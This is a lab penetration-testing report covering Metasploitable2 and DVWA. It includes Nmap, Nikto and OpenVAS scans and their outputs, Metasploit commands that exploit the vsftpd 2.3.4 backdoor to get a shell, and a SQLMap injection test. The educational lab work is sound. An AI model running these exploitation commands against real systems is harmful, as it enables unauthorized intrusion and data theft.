

Comprehensive Vulnerability Assessment and Penetration Testing of Metasploitable2 and DVWA Environment

1. Introduction

This project presents a complete Vulnerability Assessment and Penetration Testing (VAPT) exercise conducted in a controlled lab environment using Kali Linux, Metasploitable2, and DVWA (Damn Vulnerable Web Application). The purpose of the assessment was to identify security vulnerabilities, validate exploitation techniques, and recommend remediation strategies.

The testing followed standard penetration testing methodologies including reconnaissance, scanning, exploitation, post-exploitation, and reporting. Tools such as Nmap, Nikto, OpenVAS, Metasploit, SQLMap, and Docker-based DVWA were used during the assessment.

The engagement was performed ethically within an isolated virtual lab network.

2. Objectives

The objectives of this VAPT project were:

- Identify vulnerabilities in the target systems
- Perform reconnaissance and service enumeration
- Exploit known vulnerabilities safely
- Validate findings using penetration testing tools
- Demonstrate post-exploitation techniques
- Generate a professional VAPT report
- Recommend mitigation strategies

3. Lab Environment

Attacker Machine

Parameter	Value
Operating System	Kali Linux
IP Address	192.168.56.102

Target Machines

Machine	Purpose	IP Address
Metasploitable 2	Vulnerable Linux VM	192.168.56.101
DVWA	Vulnerable Web Application	localhost:8080

4. Tools Used

Tool	Purpose
Nmap	Network scanning and service enumeration
Nikto	Web vulnerability scanning
OpenVAS	Vulnerability assessment
Metasploit Framework	Exploitation framework
SQLMap	SQL Injection testing
Wappalyzer	Technology identification
Docker	DVWA deployment
SHA256SUM	Evidence integrity verification

5. Methodology

The assessment followed the PTES (Penetration Testing Execution Standard) methodology.

Phases

1. Reconnaissance
2. Vulnerability Scanning
3. Exploitation
4. Post-Exploitation
5. Reporting

6. Reconnaissance

6.1 Network Discovery

Connectivity between Kali Linux and Metasploitable2 was verified using ICMP ping.

Command Used:

```
Shell  
ping 192.168.56.101
```

Result:

Successful communication established.

6.2 Port and Service Enumeration

Nmap was used to identify open ports and services.

Command Used:

```
Shell  
nmap -sV 192.168.56.101
```

6.3 Detected Services

Port	Service	Version
21	FTP	vsftpd 2.3.4
22	SSH	OpenSSH
23	Telnet	Linux telnetd
80	HTTP	Apache
3306	MySQL	MySQL Server

6.4 Technology Identification

Technology fingerprinting was performed using Wappalyzer and WhatWeb.

Detected Technologies:

Component	Technology
Web Server	Apache 2.2.8
Operating System	Ubuntu Linux
Programming Language	PHP
Application	DVWA

7. Vulnerability Assessment

7.1 Nmap Vulnerability Scan

Command:

Shell

```
nmap -A 192.168.56.101
```

Findings:

- Multiple outdated services
- Weak FTP configuration
- Telnet service enabled
- Unencrypted services exposed

7.2 Nikto Web Scan

Command:

Shell

```
nikto -h http://192.168.56.101
```

Findings:

- Missing HTTP security headers
- Outdated Apache version
- Potential directory listing
- Weak server configuration

7.3 OpenVAS Scan

OpenVAS was configured and used for automated vulnerability scanning.

Detected Vulnerabilities:

Vulnerability	Severity
VSFTPD Backdoor	Critical
Samba Remote Code Execution	High

Weak SSL/TLS Configuration	Medium
Anonymous FTP Access	High

8. Exploitation

8.1 VSFTPD 2.3.4 Backdoor Exploitation

Metasploit was used to exploit the vulnerable FTP service.

Commands Used

Shell

```
msfconsole
```

Shell

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Shell

```
set RHOSTS 192.168.56.101
```

Shell

```
exploit
```

8.2 Exploitation Result

Result:

Successful command shell session obtained.

Verification Commands:

Shell

```
whoami
```

Shell

```
uname -a
```

Impact:

Remote unauthorized shell access achieved on the target system.

9. DVWA SQL Injection Testing

9.1 DVWA Deployment

DVWA was deployed using Docker.

Command:

Shell

```
sudo docker run --rm -it -p 8080:80 vulnerables/web-dvwa
```

Application URL:

None

```
http://localhost:8080
```

Credentials:

Username	Password
admin	password

Security Level:

Low

9.2 SQL Injection Testing

SQLMap was used to test SQL Injection vulnerabilities.

Command:

Shell

```
sqlmap -u  
"http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --batch
```

9.3 SQLMap Findings

- SQL Injection vulnerability confirmed
- Database enumeration successful
- Input validation weakness identified

Impact:

Attackers may access, modify, or extract sensitive database information.

10. Post-Exploitation

10.1 Evidence Collection

A sample evidence file was created and hashed.

Command:

Shell

```
echo "VAPT Evidence" > evidence.txt
```

SHA256 Hash:

Shell

```
sha256sum evidence.txt
```

11. Risk Analysis

Vulnerability	Severity	Risk
VSFTPD Backdoor	Critical	Remote compromise
SQL Injection	Critical	Database compromise
Telnet Enabled	High	Credential interception
Weak Web Configuration	Medium	Information disclosure

12. Conclusion

The Vulnerability Assessment and Penetration Testing exercise successfully identified multiple critical vulnerabilities within the lab environment. Exploitation of the VSFTPD backdoor and SQL Injection vulnerabilities demonstrated the severe security risks associated with outdated services and insecure coding practices.

The assessment emphasized the importance of secure configurations, patch management, and regular security testing. By implementing the recommended remediation measures, the overall security posture of the environment can be significantly improved.

The project provided practical exposure to vulnerability scanning, exploitation, post-exploitation, and professional reporting using industry-standard cybersecurity tools.

14. Appendix

Important Commands Used

Nmap

Shell

```
nmap -sV 192.168.56.101
```

Nikto

Shell

```
nikto -h http://192.168.56.101
```

Metasploit

Shell

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

SQLMap

Shell

```
sqlmap -u  
"http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --batch
```

Docker DVWA

Shell

```
sudo docker run --rm -it -p 8080:80 vulnerables/web-dvwa
```

15. Screenshots

```
zsh: corrupt history file /home/kunjal/.zsh_history
(kunjal@kunjal)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:e4:57:9c brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.102/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
        valid_lft 542sec preferred_lft 542sec
    inet6 fe80::a00:27ff:fee4:579c/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

```
Metasploitable [Running] - Oracle VirtualBox
File Machine View Input Devices Help

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:30:13:4b
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe30:134b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1252 (1.2 KB)  TX bytes:3638 (3.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:91 errors:0 dropped:0 overruns:0 frame:0
          TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$
```

```
(kunjal@kunjal)-[~]  
$ ping 192.168.56.101  
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.  
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=6.44 ms  
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=5.13 ms  
64 bytes from 192.168.56.101: icmp_seq=3 ttl=64 time=7.85 ms  
64 bytes from 192.168.56.101: icmp_seq=4 ttl=64 time=3.76 ms  
64 bytes from 192.168.56.101: icmp_seq=5 ttl=64 time=3.50 ms  
64 bytes from 192.168.56.101: icmp_seq=6 ttl=64 time=5.28 ms  
64 bytes from 192.168.56.101: icmp_seq=7 ttl=64 time=4.54 ms  
64 bytes from 192.168.56.101: icmp_seq=8 ttl=64 time=5.69 ms  
64 bytes from 192.168.56.101: icmp_seq=9 ttl=64 time=19.4 ms  
64 bytes from 192.168.56.101: icmp_seq=10 ttl=64 time=17.9 ms  
64 bytes from 192.168.56.101: icmp_seq=11 ttl=64 time=7.53 ms  
64 bytes from 192.168.56.101: icmp_seq=12 ttl=64 time=8.02 ms  
64 bytes from 192.168.56.101: icmp_seq=13 ttl=64 time=5.02 ms  
64 bytes from 192.168.56.101: icmp_seq=14 ttl=64 time=5.10 ms  
64 bytes from 192.168.56.101: icmp_seq=15 ttl=64 time=6.50 ms  
64 bytes from 192.168.56.101: icmp_seq=16 ttl=64 time=6.48 ms  
64 bytes from 192.168.56.101: icmp_seq=17 ttl=64 time=5.84 ms  
64 bytes from 192.168.56.101: icmp_seq=18 ttl=64 time=6.01 ms  
64 bytes from 192.168.56.101: icmp_seq=19 ttl=64 time=5.72 ms  
64 bytes from 192.168.56.101: icmp_seq=20 ttl=64 time=15.0 ms  
64 bytes from 192.168.56.101: icmp_seq=21 ttl=64 time=7.88 ms  
^C  
— 192.168.56.101 ping statistics —  
21 packets transmitted, 21 received, 0% packet loss, time 20045ms  
rtt min/avg/max/mdev = 3.498/7.554/19.362/4.270 ms
```

```
(kunj@kunj)-[~]
$ nmap -sV -sC 192.168.56.101
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-25 15:00 +0530
Nmap scan report for 192.168.56.101
Host is up (0.0039s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|  STAT:
|  FTP server status:
|    Connected to 192.168.56.102
|    Logged in as ftp
|    TYPE: ASCII
|    No session bandwidth limit
|    Session timeout in seconds is 300
|    Control connection is plain text
|    Data connections will be plain text
|    vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s
uch thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-05-25T09:33:24+00:00; -1s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES,
8BITMIME, DSN
|_sslv2:
|  SSLv2 supported
|  ciphers:
|    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|    SSL2_DES_64_CBC_WITH_MD5
|    SSL2_DES_192_EDE3_CBC_WITH_MD5
|    SSL2_RC2_128_CBC_WITH_MD5
|    SSL2_RC4_128_WITH_MD5
|    SSL2_RC4_128_EXPORT40_WITH_MD5
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo:
```

Session Actions Edit View Help

|_http-title: Metasploitable2 - Linux

|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 57194/tcp mountd

| 100005 1,2,3 60269/udp mountd

| 100021 1,3,4 40377/udp nlockmgr

| 100021 1,3,4 53453/tcp nlockmgr

| 100024 1 36270/udp status

|_ 100024 1 45859/tcp status

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rshd

513/tcp open login

514/tcp open shell Netkit rshd

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ccproxy-ftp?

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

| mysql-info:

| Protocol: 10

| Version: 5.0.51a-3ubuntu5

| Thread ID: 8

| Capabilities flags: 43564

| Some Capabilities: Support41Auth, Speaks41ProtocolNew, SupportsTransactions, SupportsCompression, ConnectWithDatabase, LongColumnFlag, SwitchToSSLAfterHandshake

| Status: Autocommit

|_ Salt: Koo\H)6qYKLw8N`vRsp

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

|_ ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX

|_ Not valid before: 2010-03-17T14:07:45

|_ Not valid after: 2010-04-16T14:07:45

|_ ssl-date: 2026-05-25T09:33:24+00:00; -1s from scanner time.

5900/tcp open vnc VNC (protocol 3.3)

| vnc-info:

| Protocol version: 3.3

| Security types:

|_ VNC Authentication (2)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

|_ ajp-methods: Failed to get a valid response for the OPTION request

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-server-header: Apache-Coyote/1.1

```
(kunj@kunj)-[~]
$ nmap -sV -sC 192.168.56.101 -oN nmap_scan.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-25 15:04 +0530
Nmap scan report for 192.168.56.101
Host is up (0.0034s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.56.102
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s
uch thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES,
8BITIME, DSN
|_ssl-date: 2026-05-25T09:35:19+00:00; -1s from scanner time.
|_ssl2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo:
```

Session Actions Edit View Help

|_http-title: Metasploitable2 - Linux

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

	program	version	port/proto	service
	100000	2	111/tcp	rpcbind
	100000	2	111/udp	rpcbind
	100003	2,3,4	2049/tcp	nfs
	100003	2,3,4	2049/udp	nfs
	100005	1,2,3	57194/tcp	mountd
	100005	1,2,3	60269/udp	mountd
	100021	1,3,4	40377/udp	nlockmgr
	100021	1,3,4	53453/tcp	nlockmgr
	100024	1	36270/udp	status
	100024	1	45859/tcp	status

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login

514/tcp open shell Netkit rshd

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

| mysql-info:

| Protocol: 10

| Version: 5.0.51a-3ubuntu5

| Thread ID: 21

| Capabilities flags: 43564

| Some Capabilities: ConnectWithDatabase, Speaks41ProtocolNew, SupportsTransactions, SupportsCompression, SwitchT

oSSLAAfterHandshake, LongColumnFlag, Support41Auth

| Status: Autocommit

|_ Salt: /S50n]fi\p>\$8,s"J/Mt

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

|_ssl-date: 2026-05-25T09:35:27+00:00; -1s from scanner time.

|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s

uch thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45

| Not valid after: 2010-04-16T14:07:45

5900/tcp open vnc VNC (protocol 3.3)

| vnc-info:

| Protocol version: 3.3

| Security types:

|_ VNC Authentication (2)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

|_ajp-methods: Failed to get a valid response for the OPTION request

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-favicon: Apache Tomcat

|_http-title: Apache Tomcat/5.5

```
(kunjali@kunjali)-[~]
$ nmap -A 192.168.56.101
\Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-25 15:06 +0530
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 192.168.56.101
Host is up (0.011s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_   Connected to 192.168.56.102
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl2:
|_   SSLv2 supported
|_   ciphers:
|_     SSL2_DES_64_CBC_WITH_MD5
|_     SSL2_RC4_128_WITH_MD5
|_     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_     SSL2_RC2_128_CBC_WITH_MD5
|_     SSL2_RC4_128_EXPORT40_WITH_MD5
|_     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES,
8BITMIME, DSN
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s
uch thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-05-25T09:37:25+00:00; -1s from scanner time.
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
```

```

|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp open  rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2             111/tcp    rpcbind
|   100000  2             111/udp    rpcbind
|   100003  2,3,4         2049/tcp   nfs
|   100003  2,3,4         2049/udp   nfs
|   100005  1,2,3         57194/tcp  mountd
|   100005  1,2,3         60269/udp  mountd
|   100021  1,3,4         40377/udp  nlockmgr
|   100021  1,3,4         53453/tcp  nlockmgr
|   100024  1             36270/udp  status
|   100024  1             45859/tcp  status
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open  exec        netkit-rsh rexecd
513/tcp open  login
514/tcp open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 33
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsCompression, LongColumnFlag, Speaks41ProtocolNew, SupportsTransaction
s, SwitchToSSLAfterHandshake, ConnectWithDatabase
|   Status: Autocommit
|   Salt: <r0qlJk[i|Uq\Vx}*UNh
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s
uch thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-05-25T09:37:42+00:00; -1s from scanner time.
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|   VNC Authentication (2)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5

```

```
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-05-25T09:37:42+00:00; -1s from scanner time.
5900/tcp open  vnc          VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_   VNC Authentication (2)
6000/tcp open  X11            (access denied)
6667/tcp open  irc            UnrealIRCd
8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
MAC Address: 08:00:27:30:13:4B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 59m59s, deviation: 2h00m01s, median: -1s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2026-05-25T05:37:14-04:00
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT      ADDRESS
1   10.94 ms  192.168.56.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.03 seconds
```

Session Actions Edit View Help

NOTICE: role "_gvm" has already been granted membership in role "dba" by role "postgres"
GRANT ROLE

[i] Extension uuid-ossdp already exists for gvmd database
[i] Extension pgcrypto already exists for gvmd database
[i] Extension pg-gvm already exists for gvmd database

Screenshot taken

View image

(kunj@kunj)-[~]

\$ sudo gvm-check-setup

gvm-check-setup 25.04.0

This script is provided and maintained by Debian and Kali.

Test completeness and readiness of GVM-25.04.0

Step 1: Checking OpenVAS (Scanner)...

OK: OpenVAS Scanner is present in version 23.45.1.

OK: Notus Scanner is present in version 22.7.2.

OK: Server CA Certificate is present as /var/lib/gvm/CA/servercert.pem.

Checking permissions of /var/lib/openvas/gnupg/*

OK: _gvm owns all files in /var/lib/openvas/gnupg

OK: redis-server is present.

OK: scanner (db_address setting) is configured properly using the redis-server socket: /var/run/redis-ov

as/redis-server.sock

OK: the mqtt_server_uri is defined in /etc/openvas/openvas.conf

OK: _gvm owns all files in /var/lib/openvas/plugins

OK: NVT collection in /var/lib/openvas/plugins contains 95088 NVTs.

OK: The notus directory /var/lib/notus/products contains 517 NVTs.

Checking that the obsolete redis database has been removed

OK: No old Redis DB

OK: osdpd-openvas service is active.

OK: osdpd-OpenVAS is present in version 22.10.0.

Step 2: Checking GVMD Manager ...

OK: GVM Manager (gvmd) is present in version 26.24.0.

Step 3: Checking Certificates ...

OK: GVM client certificate is valid and present as /var/lib/gvm/CA/clientcert.pem.

OK: Your GVM certificate infrastructure passed validation.

Step 4: Checking data ...

OK: SCAP data found in /var/lib/gvm/scap-data.

OK: CERT data found in /var/lib/gvm/cert-data.

Step 5: Checking PostgreSQL DB and user ...

OK: PostgreSQL version and default port are OK.

gvmd	_gvm	UTF8	libc	en_IN	en_IN		
16453	pg-gvm	10	2200	f	22.6		

Database is wrong version.

ERROR: Database is wrong version. You have installed a new gvmd version

FIX: Run 'sudo runuser -u _gvm -- gvmd --migrate'

ERROR: Your GVM-25.04.0 installation is not yet complete!

Please follow the instructions marked with FIX above and run this script again.

IMPORTANT NOTE: this script is provided and maintained by Debian and Kali.

If you find any issue in this script, please report it directly to Debian or Kali

Kali Linux

OPENVAS - Dashboards

+

127.0.0.1:9392/dashboards

OffSec

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

 OPENVAS

UTC |  |  | 13:59 | admin 

 Dashboards

Scans

>

Assets

>

Resilience

>

Security Information

>

Configuration

>

Administration

>

Help

>

Dashboards

Overview

Tasks by Severity Class (Total: 0)

Tasks by Status (Total: 0)

CVEs by Creation Time

NVTs by Severity Class (Total: 0)

Version 26.17.0

OffSecKali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DB

OPENVASUTC | 14:27 | admin

Credentials

Scan Configs

Alerts

Schedules

Report Configs

Report Formats

Scanners

Filters

Tags

Administration >

Help >

Filter

Targets 1 of 1

1 - 1 of 1

Name ↑	Hosts ↑↓	IPs ↑↓	Port List ↑↓	Credentials	Actions
vapt_task	192.168.56.101	1	All IANA assigned TCP		

Apply to page contents

(Applied filter: sort=name first=1 rows=10)

1 - 1 of 1

```
(kunj@kunj)-[~]
$ sudo apt install sublist3r
Installing:
sublist3r

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 368
  Download size: 621 kB
  Space needed: 1,947 kB / 18.0 GB available

Get:1 http://mirrors.esto.network/kali kali-rolling/main amd64 sublist3r all 1.1-5 [621 kB]
Fetched 621 kB in 1s (647 kB/s)
Selecting previously unselected package sublist3r.
(Reading database... 444578 files and directories currently installed.)
Preparing to unpack .../sublist3r_1.1-5_all.deb...
Unpacking sublist3r (1.1-5)...
Setting up sublist3r (1.1-5)...
Processing triggers for kali-menu (2026.2.5)...
Processing triggers for man-db (2.13.1-1)...

(kunj@kunj)-[~]
$ sublist3r -d example.com
```

Sublist3r

Coded By Ahmed Aboul-Ela - @aboul3la

```
[~] Enumerating subdomains now for example.com
[~] Searching now in Baidu..
[~] Searching now in Yahoo..
[~] Searching now in Google..
[~] Searching now in Bing..
[~] Searching now in Ask..
[~] Searching now in Netcraft..
[~] Searching now in DNSDumpster..
[~] Searching now in Virustotal..
[~] Searching now in ThreatCrowd..
[~] Searching now in SSL Certificates..
[~] Searching now in PassiveDNS..
[!] Engine Google failed: name 'unicode' is not defined
[!] DNSDumpster module failed: Could not find CSRF token on DNSDumpster page
[!] Error: Virustotal probably now is blocking our requests
```

← → ↻ 🏠

🛡️ Not Secure http://192.168.56.101

☆ 👤 📄 ☰

OffSec Kali Linux Kali Tools Kali Docs Kali

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

- [TWiki](#)
- [phpMyAdmin](#)
- [Mutillidae](#)
- [DVWA](#)
- [WebDAV](#)

W

Wappalyzer

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TECHNOLOGIES

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TOTAL RESULTS

363,103

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Mumbai

196,756

Hyderābād

31,901

Doddaballapura

24,315

Chennai

10,472

Delhi

10,181

More...

TOP PORTS

80

135,080

443

111,645

View Report

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Advanced Search

